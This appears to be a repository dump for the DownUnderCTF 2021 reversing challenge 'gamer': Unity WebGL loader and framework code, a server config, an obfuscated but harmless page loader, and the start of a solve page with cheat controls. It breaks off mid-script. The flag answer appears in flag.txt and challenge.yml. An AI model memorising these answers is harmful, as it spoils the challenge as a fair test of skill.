dynCall_viiiiiiifiii=Module[\"dynCall_viiiiiiifiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiifiii\"].apply(null,arguments)});var dynCall_viiiiiiii=Module[\"dynCall_viiiiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiii\"].apply(null,arguments)});var dynCall_viiiiiiiii=Module[\"dynCall_viiiiiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiiii\"].apply(null,arguments)});var dynCall_viiiiiiiiii=Module[\"dynCall_viiiiiiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiiiii\"].apply(null,arguments)});var dynCall_viiiiiiiiiii=Module[\"dynCall_viiiiiiiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiiiiii\"].apply(null,arguments)});var dynCall_viiiiiiiiiiifii=Module[\"dynCall_viiiiiiiiiiifii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiiiiiifii\"].apply(null,arguments)});var dynCall_viiiiiiiiiiii=Module[\"dynCall_viiiiiiiiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiiiiiii\"].apply(null,arguments)});var dynCall_viiiiiiiiiiiiii=Module[\"dynCall_viiiiiiiiiiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiiiiiiiii\"].apply(null,arguments)});var dynCall_viiiiiiiiiiiiiii=Module[\"dynCall_viiiiiiiiiiiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiiiiiiiiii\"].apply(null,arguments)});var dynCall_viiiiiiiiiiiiiiiiii=Module[\"dynCall_viiiiiiiiiiiiiiiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiiiiiiiiiiiiiiii\"].apply(null,arguments)});var dynCall_viiiij=Module[\"dynCall_viiiij\"]=(function(){return Module[\"asm\"][\"dynCall_viiiij\"].apply(null,arguments)});var dynCall_viiiijiiii=Module[\"dynCall_viiiijiiii\"]=(function(){return Module[\"asm\"][\"dynCall_viiiijiiii\"].apply(null,arguments)});var dynCall_viiiji=Module[\"dynCall_viiiji\"]=(function(){return Module[\"asm\"][\"dynCall_viiiji\"].apply(null,arguments)});var dynCall_viiijji=Module[\"dynCall_viiijji\"]=(function(){return Module[\"asm\"][\"dynCall_viiijji\"].apply(null,arguments)});var dynCall_viij=Module[\"dynCall_viij\"]=(function(){return Module[\"asm\"][\"dynCall_viij\"].apply(null,arguments)});var dynCall_viiji=Module[\"dynCall_viiji\"]=(function(){return Module[\"asm\"][\"dynCall_viiji\"].apply(null,arguments)});var dynCall_viijii=Module[\"dynCall_viijii\"]=(function(){return Module[\"asm\"][\"dynCall_viijii\"].apply(null,arguments)});var dynCall_viijiijiii=Module[\"dynCall_viijiijiii\"]=(function(){return Module[\"asm\"][\"dynCall_viijiijiii\"].apply(null,arguments)});var dynCall_viijijii=Module[\"dynCall_viijijii\"]=(function(){return Module[\"asm\"][\"dynCall_viijijii\"].apply(null,arguments)});var dynCall_viijijiii=Module[\"dynCall_viijijiii\"]=(function(){return Module[\"asm\"][\"dynCall_viijijiii\"].apply(null,arguments)});var dynCall_viijijj=Module[\"dynCall_viijijj\"]=(function(){return Module[\"asm\"][\"dynCall_viijijj\"].apply(null,arguments)});var dynCall_viijj=Module[\"dynCall_viijj\"]=(function(){return Module[\"asm\"][\"dynCall_viijj\"].apply(null,arguments)});var dynCall_viijji=Module[\"dynCall_viijji\"]=(function(){return Module[\"asm\"][\"dynCall_viijji\"].apply(null,arguments)});var dynCall_viijjiii=Module[\"dynCall_viijjiii\"]=(function(){return Module[\"asm\"][\"dynCall_viijjiii\"].apply(null,arguments)});var dynCall_viijjji=Module[\"dynCall_viijjji\"]=(function(){return Module[\"asm\"][\"dynCall_viijjji\"].apply(null,arguments)});var dynCall_vij=Module[\"dynCall_vij\"]=(function(){return Module[\"asm\"][\"dynCall_vij\"].apply(null,arguments)});var dynCall_viji=Module[\"dynCall_viji\"]=(function(){return Module[\"asm\"][\"dynCall_viji\"].apply(null,arguments)});var dynCall_vijii=Module[\"dynCall_vijii\"]=(function(){return Module[\"asm\"][\"dynCall_vijii\"].apply(null,arguments)});var dynCall_vijiii=Module[\"dynCall_vijiii\"]=(function(){return Module[\"asm\"][\"dynCall_vijiii\"].apply(null,arguments)});var dynCall_vijiji=Module[\"dynCall_vijiji\"]=(function(){return Module[\"asm\"][\"dynCall_vijiji\"].apply(null,arguments)});var dynCall_vijijji=Module[\"dynCall_vijijji\"]=(function(){return Module[\"asm\"][\"dynCall_vijijji\"].apply(null,arguments)});var dynCall_vijji=Module[\"dynCall_vijji\"]=(function(){return Module[\"asm\"][\"dynCall_vijji\"].apply(null,arguments)});var dynCall_vijjii=Module[\"dynCall_vijjii\"]=(function(){return Module[\"asm\"][\"dynCall_vijjii\"].apply(null,arguments)});var dynCall_vjiiii=Module[\"dynCall_vjiiii\"]=(function(){return Module[\"asm\"][\"dynCall_vjiiii\"].apply(null,arguments)});var dynCall_vjji=Module[\"dynCall_vjji\"]=(function(){return Module[\"asm\"][\"dynCall_vjji\"].apply(null,arguments)});Module[\"asm\"]=asm;Module[\"ccall\"]=ccall;Module[\"cwrap\"]=cwrap;Module[\"stackTrace\"]=stackTrace;Module[\"addRunDependency\"]=addRunDependency;Module[\"removeRunDependency\"]=removeRunDependency;Module[\"FS_createPath\"]=FS.createPath;Module[\"FS_createDataFile\"]=FS.createDataFile;function ExitStatus(status){this.name=\"ExitStatus\";this.message=\"Program terminated with exit(\"+status+\")\";this.status=status}ExitStatus.prototype=new Error;ExitStatus.prototype.constructor=ExitStatus;var initialStackTop;var calledMain=false;dependenciesFulfilled=function runCaller(){if(!Module[\"calledRun\"])run();if(!Module[\"calledRun\"])dependenciesFulfilled=runCaller};Module[\"callMain\"]=function callMain(args){args=args||[];ensureInitRuntime();var argc=args.length+1;var argv=stackAlloc((argc+1)*4);HEAP32[argv>>2]=allocateUTF8OnStack(Module[\"thisProgram\"]);for(var i=1;i<argc;i++){HEAP32[(argv>>2)+i]=allocateUTF8OnStack(args[i-1])}HEAP32[(argv>>2)+argc]=0;try{var ret=Module[\"_main\"](argc,argv,0);exit(ret,true)}catch(e){if(e instanceof ExitStatus){return}else if(e==\"SimulateInfiniteLoop\"){Module[\"noExitRuntime\"]=true;return}else{var toLog=e;if(e&&typeof e===\"object\"&&e.stack){toLog=[e,e.stack]}err(\"exception thrown: \"+toLog);Module[\"quit\"](1,e)}}finally{calledMain=true}};function run(args){args=args||Module[\"arguments\"];if(runDependencies>0){return}preRun();if(runDependencies>0)return;if(Module[\"calledRun\"])return;function doRun(){if(Module[\"calledRun\"])return;Module[\"calledRun\"]=true;if(ABORT)return;ensureInitRuntime();preMain();if(Module[\"onRuntimeInitialized\"])Module[\"onRuntimeInitialized\"]();if(Module[\"_main\"]&&shouldRunNow)Module[\"callMain\"](args);postRun()}if(Module[\"setStatus\"]){Module[\"setStatus\"](\"Running...\");setTimeout((function(){setTimeout((function(){Module[\"setStatus\"](\"\")}),1);doRun()}),1)}else{doRun()}}Module[\"run\"]=run;function exit(status,implicit){if(implicit&&Module[\"noExitRuntime\"]&&status===0){return}if(Module[\"noExitRuntime\"]){}else{ABORT=true;EXITSTATUS=status;STACKTOP=initialStackTop;exitRuntime();if(Module[\"onExit\"])Module[\"onExit\"](status)}Module[\"quit\"](status,new ExitStatus(status))}function abort(what){if(Module[\"onAbort\"]){Module[\"onAbort\"](what)}if(what!==undefined){out(what);err(what);what=JSON.stringify(what)}else{what=\"\"}ABORT=true;EXITSTATUS=1;throw\"abort(\"+what+\"). Build with -s ASSERTIONS=1 for more info.\"}Module[\"abort\"]=abort;if(Module[\"preInit\"]){if(typeof Module[\"preInit\"]==\"function\")Module[\"preInit\"]=[Module[\"preInit\"]];while(Module[\"preInit\"].length>0){Module[\"preInit\"].pop()()}}var shouldRunNow=true;if(Module[\"noInitialRun\"]){shouldRunNow=false}Module[\"noExitRuntime\"]=true;run()\n\n\n\n\n}\n"
  },
  {
    "path": "rev/gamer/challenge/Build/game.loader.js",
    "content": "function createUnityInstance(e,t,r){function n(e){var t=\"unhandledrejection\"==e.type&&\"object\"==typeof e.reason?e.reason:\"object\"==typeof e.error?e.error:null,r=t?t.toString():\"string\"==typeof e.message?e.message:\"string\"==typeof e.reason?e.reason:\"\";if(t&&\"string\"==typeof t.stack&&(r+=\"\\n\"+t.stack.substring(t.stack.lastIndexOf(r,0)?0:r.length).replace(/(^\\n*|\\n*$)/g,\"\")),r&&l.stackTraceRegExp&&l.stackTraceRegExp.test(r)){var n=e instanceof ErrorEvent?e.filename:t&&\"string\"==typeof t.fileName?t.fileName:t&&\"string\"==typeof t.sourceURL?t.sourceURL:\"\",o=e instanceof ErrorEvent?e.lineno:t&&\"number\"==typeof t.lineNumber?t.lineNumber:t&&\"number\"==typeof t.line?t.line:0;a(r,n,o)}}function o(e){e.preventDefault()}function a(e,t,r){if(l.startupErrorHandler)return void l.startupErrorHandler(e,t,r);if(!(l.errorHandler&&l.errorHandler(e,t,r)||(console.log(\"Invoking error handler due to\\n\"+e),\"function\"==typeof dump&&dump(\"Invoking error handler due to\\n\"+e),e.indexOf(\"UnknownError\")!=-1||e.indexOf(\"Program terminated with exit(0)\")!=-1||a.didShowErrorMessage))){var e=\"An error occurred running the Unity content on this page. See your browser JavaScript console for more info. The error was:\\n\"+e;e.indexOf(\"DISABLE_EXCEPTION_CATCHING\")!=-1?e=\"An exception has occurred, but exception handling has been disabled in this build. If you are the developer of this content, enable exceptions in your project WebGL player settings to be able to catch the exception or see the stack trace.\":e.indexOf(\"Cannot enlarge memory arrays\")!=-1?e=\"Out of memory. If you are the developer of this content, try allocating more memory to your WebGL build in the WebGL player settings.\":e.indexOf(\"Invalid array buffer length\")==-1&&e.indexOf(\"Invalid typed array length\")==-1&&e.indexOf(\"out of memory\")==-1&&e.indexOf(\"could not allocate memory\")==-1||(e=\"The browser could not allocate enough memory for the WebGL content. If you are the developer of this content, try allocating less memory to your WebGL build in the WebGL player settings.\"),alert(e),a.didShowErrorMessage=!0}}function s(e,t){if(\"symbolsUrl\"!=e){var n=l.downloadProgress[e];n||(n=l.downloadProgress[e]={started:!1,finished:!1,lengthComputable:!1,total:0,loaded:0}),\"object\"!=typeof t||\"progress\"!=t.type&&\"load\"!=t.type||(n.started||(n.started=!0,n.lengthComputable=t.lengthComputable,n.total=t.total),n.loaded=t.loaded,\"load\"==t.type&&(n.finished=!0));var o=0,a=0,s=0,i=0,d=0;for(var e in l.downloadProgress){var n=l.downloadProgress[e];if(!n.started)return 0;s++,n.lengthComputable?(o+=n.loaded,a+=n.total,i++):n.finished||d++}var u=s?(s-d-(a?i*(a-o)/a:0))/s:0;r(.9*u)}}function i(e){return new Promise(function(t,r){s(e);var n=l.companyName&&l.productName?new l.XMLHttpRequest({companyName:l.companyName,productName:l.productName,cacheControl:l.cacheControl(l[e])}):new XMLHttpRequest;n.open(\"GET\",l[e]),n.responseType=\"arraybuffer\",n.addEventListener(\"progress\",function(t){s(e,t)}),n.addEventListener(\"load\",function(r){s(e,r),t(new Uint8Array(n.response))}),n.send()})}function d(){return new Promise(function(e,t){var r=document.createElement(\"script\");r.src=l.frameworkUrl,r.onload=function(){var t=unityFramework;unityFramework=null,r.onload=null,e(t)},document.body.appendChild(r),l.deinitializers.push(function(){document.body.removeChild(r)})})}function u(){d().then(function(e){e(l)});var e=i(\"dataUrl\");l.preRun.push(function(){l.addRunDependency(\"dataUrl\"),e.then(function(e){var t=new DataView(e.buffer,e.byteOffset,e.byteLength),r=0,n=\"UnityWebData1.0\\0\";if(!String.fromCharCode.apply(null,e.subarray(r,r+n.length))==n)throw\"unknown data format\";r+=n.length;var o=t.getUint32(r,!0);for(r+=4;r<o;){var a=t.getUint32(r,!0);r+=4;var s=t.getUint32(r,!0);r+=4;var i=t.getUint32(r,!0);r+=4;var d=String.fromCharCode.apply(null,e.subarray(r,r+i));r+=i;for(var u=0,c=d.indexOf(\"/\",u)+1;c>0;u=c,c=d.indexOf(\"/\",u)+1)l.FS_createPath(d.substring(0,u),d.substring(u,c-1),!0,!0);l.FS_createDataFile(d,null,e.subarray(a,a+s),!0,!0,!0)}l.removeRunDependency(\"dataUrl\")})})}r=r||function(){};var l={canvas:e,webglContextAttributes:{preserveDrawingBuffer:!1},cacheControl:function(e){return e==l.dataUrl?\"must-revalidate\":\"no-store\"},streamingAssetsUrl:\"StreamingAssets\",downloadProgress:{},deinitializers:[],intervals:{},setInterval:function(e,t){var r=window.setInterval(e,t);return this.intervals[r]=!0,r},clearInterval:function(e){delete this.intervals[e],window.clearInterval(e)},preRun:[],postRun:[],print:function(e){console.log(e)},printErr:function(e){console.error(e)},locateFile:function(e){return\"build.wasm\"==e?this.codeUrl:e},disabledCanvasEvents:[\"contextmenu\",\"dragstart\"]};for(var c in t)l[c]=t[c];l.streamingAssetsUrl=new URL(l.streamingAssetsUrl,document.URL).href;var f=l.disabledCanvasEvents.slice();f.forEach(function(t){e.addEventListener(t,o)}),window.addEventListener(\"error\",n),window.addEventListener(\"unhandledrejection\",n);var p={Module:l,SetFullscreen:function(){return l.SetFullscreen?l.SetFullscreen.apply(l,arguments):void l.print(\"Failed to set Fullscreen mode: Player not loaded yet.\")},SendMessage:function(){return l.SendMessage?l.SendMessage.apply(l,arguments):void l.print(\"Failed to execute SendMessage: Player not loaded yet.\")},Quit:function(){return new Promise(function(t,r){l.shouldQuit=!0,l.onQuit=t,f.forEach(function(t){e.removeEventListener(t,o)}),window.removeEventListener(\"error\",n),window.removeEventListener(\"unhandledrejection\",n)})}};return l.SystemInfo=function(){function e(e,t,r){return e=RegExp(e,\"i\").exec(t),e&&e[r]}for(var t,r,n,o,a,s,i=navigator.userAgent+\" \",d=[[\"Firefox\",\"Firefox\"],[\"OPR\",\"Opera\"],[\"Edg\",\"Edge\"],[\"SamsungBrowser\",\"Samsung Browser\"],[\"Trident\",\"Internet Explorer\"],[\"MSIE\",\"Internet Explorer\"],[\"Chrome\",\"Chrome\"],[\"CriOS\",\"Chrome on iOS Safari\"],[\"FxiOS\",\"Firefox on iOS Safari\"],[\"Safari\",\"Safari\"]],u=0;u<d.length;++u)if(r=e(d[u][0]+\"[/ ](.*?)[ \\\\)]\",i,1)){t=d[u][1];break}\"Safari\"==t&&(r=e(\"Version/(.*?) \",i,1)),\"Internet Explorer\"==t&&(r=e(\"rv:(.*?)\\\\)? \",i,1)||r);for(var l=[[\"Windows (.*?)[;)]\",\"Windows\"],[\"Android ([0-9_.]+)\",\"Android\"],[\"iPhone OS ([0-9_.]+)\",\"iPhoneOS\"],[\"iPad.*? OS ([0-9_.]+)\",\"iPadOS\"],[\"FreeBSD( )\",\"FreeBSD\"],[\"OpenBSD( )\",\"OpenBSD\"],[\"Linux|X11()\",\"Linux\"],[\"Mac OS X ([0-9_.]+)\",\"macOS\"],[\"bot|google|baidu|bing|msn|teoma|slurp|yandex\",\"Search Bot\"]],c=0;c<l.length;++c)if(o=e(l[c][0],i,1)){n=l[c][1],o=o.replace(/_/g,\".\");break}var f={\"NT 5.0\":\"2000\",\"NT 5.1\":\"XP\",\"NT 5.2\":\"Server 2003\",\"NT 6.0\":\"Vista\",\"NT 6.1\":\"7\",\"NT 6.2\":\"8\",\"NT 6.3\":\"8.1\",\"NT 10.0\":\"10\"};o=f[o]||o,a=document.createElement(\"canvas\"),a&&(gl=a.getContext(\"webgl2\"),glVersion=gl?2:0,gl||(gl=a&&a.getContext(\"webgl\"))&&(glVersion=1),gl&&(s=gl.getExtension(\"WEBGL_debug_renderer_info\")&&gl.getParameter(37446)||gl.getParameter(7937)));var p=\"undefined\"!=typeof SharedArrayBuffer,h=\"object\"==typeof WebAssembly&&\"function\"==typeof WebAssembly.compile;return{width:screen.width,height:screen.height,userAgent:i.trim(),browser:t||\"Unknown browser\",browserVersion:r||\"Unknown version\",mobile:/Mobile|Android|iP(ad|hone)/.test(navigator.appVersion),os:n||\"Unknown OS\",osVersion:o||\"Unknown OS Version\",gpu:s||\"Unknown GPU\",language:navigator.userLanguage||navigator.language,hasWebGL:glVersion,hasCursorLock:!!document.body.requestPointerLock,hasFullscreen:!!document.body.requestFullscreen,hasThreads:p,hasWasm:h,hasWasmThreads:!1}}(),l.abortHandler=function(e){return a(e,\"\",0),!0},Error.stackTraceLimit=Math.max(Error.stackTraceLimit||0,50),l.XMLHttpRequest=function(){function e(e){console.log(\"[UnityCache] \"+e)}function t(e){return t.link=t.link||document.createElement(\"a\"),t.link.href=e,t.link.href}function r(e){var t=window.location.href.match(/^[a-z]+:\\/\\/[^\\/]+/);return!t||e.lastIndexOf(t[0],0)}function n(){function t(t){if(\"undefined\"==typeof n.database)for(n.database=t,n.database||e(\"indexedDB database could not be opened\");n.queue.length;){var r=n.queue.shift();n.database?n.execute.apply(n,r.arguments):\"function\"==typeof r.onerror&&r.onerror(new Error(\"operation cancelled\"))}}function r(){var e=o.open(s.name,s.version);e.onupgradeneeded=function(e){var t=e.target.result;t.objectStoreNames.contains(d.name)||t.createObjectStore(d.name)},e.onsuccess=function(e){t(e.target.result)},e.onerror=function(){t(null)}}var n=this;n.queue=[];try{var o=window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB,a=o.open(s.name);a.onupgradeneeded=function(e){var t=e.target.result.createObjectStore(i.name,{keyPath:\"url\"});[\"version\",\"company\",\"product\",\"updated\",\"revalidated\",\"accessed\"].forEach(function(e){t.createIndex(e,e)})},a.onsuccess=function(e){var n=e.target.result;n.version<s.version?(n.close(),r()):t(n)},a.onerror=function(){t(null)}}catch(e){t(null)}}function o(e,t,r,n,o){var a={url:e,version:i.version,company:t,product:r,updated:n,revalidated:n,accessed:n,responseHeaders:{},xhr:{}};return o&&([\"Last-Modified\",\"ETag\"].forEach(function(e){a.responseHeaders[e]=o.getResponseHeader(e)}),[\"responseURL\",\"status\",\"statusText\",\"response\"].forEach(function(e){a.xhr[e]=o[e]})),a}function a(t){this.cache={enabled:!1},t&&(this.cache.control=t.cacheControl,this.cache.company=t.companyName,this.cache.product=t.productName),this.xhr=new XMLHttpRequest(t),this.xhr.addEventListener(\"load\",function(){var t=this.xhr,r=this.cache;r.enabled&&!r.revalidated&&(304==t.status?(r.result.revalidated=r.result.accessed,r.revalidated=!0,u.execute(i.name,\"put\",[r.result]),e(\"'\"+r.result.url+\"' successfully revalidated and served from the indexedDB cache\")):200==t.status?(r.result=o(r.result.url,r.company,r.product,r.result.accessed,t),r.revalidated=!0,u.execute(i.name,\"put\",[r.result],function(t){e(\"'\"+r.result.url+\"' successfully downloaded and stored in the indexedDB cache\")},function(t){e(\"'\"+r.result.url+\"' successfully downloaded but not stored in the indexedDB cache due to the error: \"+t)})):e(\"'\"+r.result.url+\"' request failed with status: \"+t.status+\" \"+t.statusText))}.bind(this))}var s={name:\"UnityCache\",version:2},i={name:\"XMLHttpRequest\",version:1},d={name:\"WebAssembly\",version:1};n.prototype.execute=function(e,t,r,n,o){if(this.database)try{var a=this.database.transaction([e],[\"put\",\"delete\",\"clear\"].indexOf(t)!=-1?\"readwrite\":\"readonly\").objectStore(e);\"openKeyCursor\"==t&&(a=a.index(r[0]),r=r.slice(1));var s=a[t].apply(a,r);\"function\"==typeof n&&(s.onsuccess=function(e){n(e.target.result)}),s.onerror=o}catch(e){\"function\"==typeof o&&o(e)}else\"undefined\"==typeof this.database?this.queue.push({arguments:arguments,onerror:o}):\"function\"==typeof o&&o(new Error(\"indexedDB access denied\"))};var u=new n;a.prototype.send=function(t){var n=this.xhr,o=this.cache,a=arguments;return o.enabled=o.enabled&&\"arraybuffer\"==n.responseType&&!t,o.enabled?void u.execute(i.name,\"get\",[o.result.url],function(t){if(!t||t.version!=i.version)return void n.send.apply(n,a);if(o.result=t,o.result.accessed=Date.now(),\"immutable\"==o.control)o.revalidated=!0,u.execute(i.name,\"put\",[o.result]),n.dispatchEvent(new Event(\"load\")),e(\"'\"+o.result.url+\"' served from the indexedDB cache without revalidation\");else if(r(o.result.url)&&(o.result.responseHeaders[\"Last-Modified\"]||o.result.responseHeaders.ETag)){var s=new XMLHttpRequest;s.open(\"HEAD\",o.result.url),s.onload=function(){o.revalidated=[\"Last-Modified\",\"ETag\"].every(function(e){return!o.result.responseHeaders[e]||o.result.responseHeaders[e]==s.getResponseHeader(e)}),o.revalidated?(o.result.revalidated=o.result.accessed,u.execute(i.name,\"put\",[o.result]),n.dispatchEvent(new Event(\"load\")),e(\"'\"+o.result.url+\"' successfully revalidated and served from the indexedDB cache\")):n.send.apply(n,a)},s.send()}else o.result.responseHeaders[\"Last-Modified\"]?(n.setRequestHeader(\"If-Modified-Since\",o.result.responseHeaders[\"Last-Modified\"]),n.setRequestHeader(\"Cache-Control\",\"no-cache\")):o.result.responseHeaders.ETag&&(n.setRequestHeader(\"If-None-Match\",o.result.responseHeaders.ETag),n.setRequestHeader(\"Cache-Control\",\"no-cache\")),n.send.apply(n,a)},function(e){n.send.apply(n,a)}):n.send.apply(n,a)},a.prototype.open=function(e,r,n,a,s){return this.cache.result=o(t(r),this.cache.company,this.cache.product,Date.now()),this.cache.enabled=[\"must-revalidate\",\"immutable\"].indexOf(this.cache.control)!=-1&&\"GET\"==e&&this.cache.result.url.match(\"^https?://\")&&(\"undefined\"==typeof n||n)&&\"undefined\"==typeof a&&\"undefined\"==typeof s,this.cache.revalidated=!1,this.xhr.open.apply(this.xhr,arguments)},a.prototype.setRequestHeader=function(e,t){return this.cache.enabled=!1,this.xhr.setRequestHeader.apply(this.xhr,arguments)};var l=new XMLHttpRequest;for(var c in l)a.prototype.hasOwnProperty(c)||!function(e){Object.defineProperty(a.prototype,e,\"function\"==typeof l[e]?{value:function(){return this.xhr[e].apply(this.xhr,arguments)}}:{get:function(){return this.cache.revalidated&&this.cache.result.xhr.hasOwnProperty(e)?this.cache.result.xhr[e]:this.xhr[e]},set:function(t){this.xhr[e]=t}})}(c);return a}(),new Promise(function(e,t){l.SystemInfo.hasWebGL?l.SystemInfo.hasWasm?(1==l.SystemInfo.hasWebGL&&l.print('Warning: Your browser does not support \"WebGL 2.0\" Graphics API, switching to \"WebGL 1.0\"'),l.startupErrorHandler=t,r(0),l.postRun.push(function(){r(1),delete l.startupErrorHandler,e(p)}),u()):t(\"Your browser does not support WebAssembly.\"):t(\"Your browser does not support WebGL.\")})}"
  },
  {
    "path": "rev/gamer/challenge/Caddyfile",
    "content": ":1337 {\n    root * /www\n    file_server\n}\n"
  },
  {
    "path": "rev/gamer/challenge/TemplateData/style.css",
    "content": "body { padding: 0; margin: 0 }\n#unity-container { position: absolute }\n#unity-container.unity-desktop { left: 50%; top: 50%; transform: translate(-50%, -50%) }\n#unity-canvas { background: #231F20 }\n#unity-loading-bar { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); display: none }\n#unity-logo { width: 154px; height: 130px; background: url('unity-logo-dark.png') no-repeat center }\n#unity-progress-bar-empty { width: 141px; height: 18px; margin-top: 10px; background: url('progress-bar-empty-dark.png') no-repeat center }\n#unity-progress-bar-full { width: 0%; height: 18px; margin-top: 10px; background: url('progress-bar-full-dark.png') no-repeat center }\n"
  },
  {
    "path": "rev/gamer/challenge/flag.txt",
    "content": "DUCTF{y0u_4r3_a_pr0_g4m3r_a38fb}\n"
  },
  {
    "path": "rev/gamer/challenge/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en-us\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n    <title>DownUnderCTF 2021 | gamer</title>\n    <link rel=\"stylesheet\" href=\"TemplateData/style.css\">\n  </head>\n  <body>\n    <div style=\"position: absolute; top: 40px; left: 50%; transform: translateX(-50%);\">\n      Use arrow keys to move. Collect all four coins then find the flag!\n    </div>\n    <div id=\"unity-container\" class=\"unity-desktop\">\n      <canvas id=\"unity-canvas\" width=960 height=600></canvas>\n      <div id=\"unity-loading-bar\">\n        <div id=\"unity-progress-bar-empty\">\n          <div id=\"unity-progress-bar-full\"></div>\n        </div>\n      </div>\n    </div>\n    <div style=\"position: absolute; bottom: 30px; left: 50%; transform: translateX(-50%);\">Sprites credit: <a href=\"https://www.kenney.nl/\">https://www.kenney.nl/</a></div>\n    <script>\n      var _0x4d4d1a=_0x1039;(function(_0x37a92d,_0x21e2d7){var _0x5f4f4d=_0x1039,_0x4b84fc=_0x37a92d();while(!![]){try{var _0x3101a6=-parseInt(_0x5f4f4d(0x1f1))/0x1*(parseInt(_0x5f4f4d(0x1ec))/0x2)+-parseInt(_0x5f4f4d(0x1fa))/0x3+-parseInt(_0x5f4f4d(0x1fc))/0x4*(parseInt(_0x5f4f4d(0x1e8))/0x5)+-parseInt(_0x5f4f4d(0x1f0))/0x6+parseInt(_0x5f4f4d(0x1f2))/0x7*(-parseInt(_0x5f4f4d(0x1ff))/0x8)+-parseInt(_0x5f4f4d(0x1fb))/0x9*(-parseInt(_0x5f4f4d(0x1f6))/0xa)+parseInt(_0x5f4f4d(0x204))/0xb;if(_0x3101a6===_0x21e2d7)break;else _0x4b84fc['push'](_0x4b84fc['shift']());}catch(_0x1d4735){_0x4b84fc['push'](_0x4b84fc['shift']());}}}(_0x120e,0x40e3f));var buildUrl='Build',loaderUrl=buildUrl+'/game.loader.js',config={'dataUrl':buildUrl+'/game.data','frameworkUrl':buildUrl+_0x4d4d1a(0x1fe),'codeUrl':buildUrl+_0x4d4d1a(0x1e7),'streamingAssetsUrl':'StreamingAssets','companyName':_0x4d4d1a(0x1e6),'productName':'gamer','productVersion':_0x4d4d1a(0x1ea)},container=document['querySelector'](_0x4d4d1a(0x1ed)),canvas=document[_0x4d4d1a(0x1f7)](_0x4d4d1a(0x205)),loadingBar=document[_0x4d4d1a(0x1f7)]('#unity-loading-bar'),progressBarFull=document[_0x4d4d1a(0x1f7)](_0x4d4d1a(0x1f5));function _0x120e(){var _0x20da4b=['14828xebcXV','none','/game.framework.js','346576NkYYJv','600px','createElement','catch','src','14699663VSeyQL','#unity-canvas','DownUnderCTF','/game.wasm','430VVGnhO','height','1.0','onload','489142xHjlXL','#unity-container','display','appendChild','1023708rwCFZP','2vfXGnR','21EvBCGR','body','block','#unity-progress-bar-full','1683090uwLAaW','querySelector','style','960px','390969YEQMEd','9HdqPyU'];_0x120e=function(){return _0x20da4b;};return _0x120e();}canvas[_0x4d4d1a(0x1f8)]['width']=_0x4d4d1a(0x1f9),canvas[_0x4d4d1a(0x1f8)][_0x4d4d1a(0x1e9)]=_0x4d4d1a(0x200),loadingBar[_0x4d4d1a(0x1f8)][_0x4d4d1a(0x1ee)]=_0x4d4d1a(0x1f4);function _0x1039(_0x4aa577,_0x97394){var _0x120e92=_0x120e();return _0x1039=function(_0x10395f,_0x4bcd35){_0x10395f=_0x10395f-0x1e6;var _0x25087c=_0x120e92[_0x10395f];return _0x25087c;},_0x1039(_0x4aa577,_0x97394);}var script=document[_0x4d4d1a(0x201)]('script');script[_0x4d4d1a(0x203)]=loaderUrl,script[_0x4d4d1a(0x1eb)]=()=>{var _0x1ecda7=_0x4d4d1a;createUnityInstance(canvas,config,_0x25965b=>{var _0xe3991e=_0x1039;progressBarFull[_0xe3991e(0x1f8)]['width']=0x64*_0x25965b+'%';})['then'](_0x299010=>{var _0x17fd35=_0x1039;loadingBar['style'][_0x17fd35(0x1ee)]=_0x17fd35(0x1fd);})[_0x1ecda7(0x202)](_0x270b43=>{});},document[_0x4d4d1a(0x1f3)][_0x4d4d1a(0x1ef)](script);\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "rev/gamer/challenge.yml",
    "content": "version: \"0.1\"\nid: gamer\nname: gamer\ncategory: reversing\ndescription: |\n  Are you a pro gamer? Beat (hack) this game and prove it!\n\n  Author: joseph#8210\n\nconnection_info: ${url}\n\ntags:\n  - medium\n\nflags:\n  - DUCTF{y0u_4r3_a_pr0_g4m3r_a38fb}\n  - DUCTF{Y0U_4R3_A_PR0_G4M3R_A38FB}\n"
  },
  {
    "path": "rev/gamer/solve/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en-us\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n    <title>DownUnderCTF 2021 | gamer</title>\n    <link rel=\"stylesheet\" href=\"../challenge/TemplateData/style.css\">\n  </head>\n  <body>\n    <div style=\"position: absolute; top: 40px; left: 50%; transform: translateX(-50%);\">\n      Use arrow keys to move. Collect all four coins then find the flag!\n    </div>\n    <div style=\"margin-top: 100px; margin-left: 60px\">\n      <div>\n        <label for=\"update_health\">update health:</label><br>\n        <input type=\"number\" id=\"update_health\" name=\"update_health\" value=\"100\">\n        <button id=\"update_health_go\">go</button>\n      </div>\n\n      <div style=\"margin-top: 50px\">\n        press z to fly\n      </div>\n\n      <div style=\"margin-top: 50px\">\n        <label for=\"update_speed\">update speed:</label><br>\n        <input type=\"number\" id=\"update_speed\" name=\"update_speed\" value=\"500\">\n        <button id=\"update_speed_go\">go</button>\n      </div>\n    </div>\n    <div id=\"unity-container\" class=\"unity-desktop\" style=\"margin-left: 10%\">\n      <canvas id=\"unity-canvas\" width=960 height=600></canvas>\n      <div id=\"unity-loading-bar\">\n        <div id=\"unity-progress-bar-empty\">\n          <div id=\"unity-progress-bar-full\"></div>\n        </div>\n      </div>\n    </div>\n    <div style=\"position: absolute; bottom: 30px; left: 50%; transform: translateX(-50%);\">Sprites credit: <a href=\"https://www.kenney.nl/\">https://www.kenney.nl/</a></div>\n    <script>\n      var buildUrl = \"../challenge/Build\";\n      var loaderUrl = buildUrl + \"/game.loader.js\";\n      var config = {\n        dataUrl: buildUrl + \"/game.data\",\n        frameworkUrl: buildUrl + 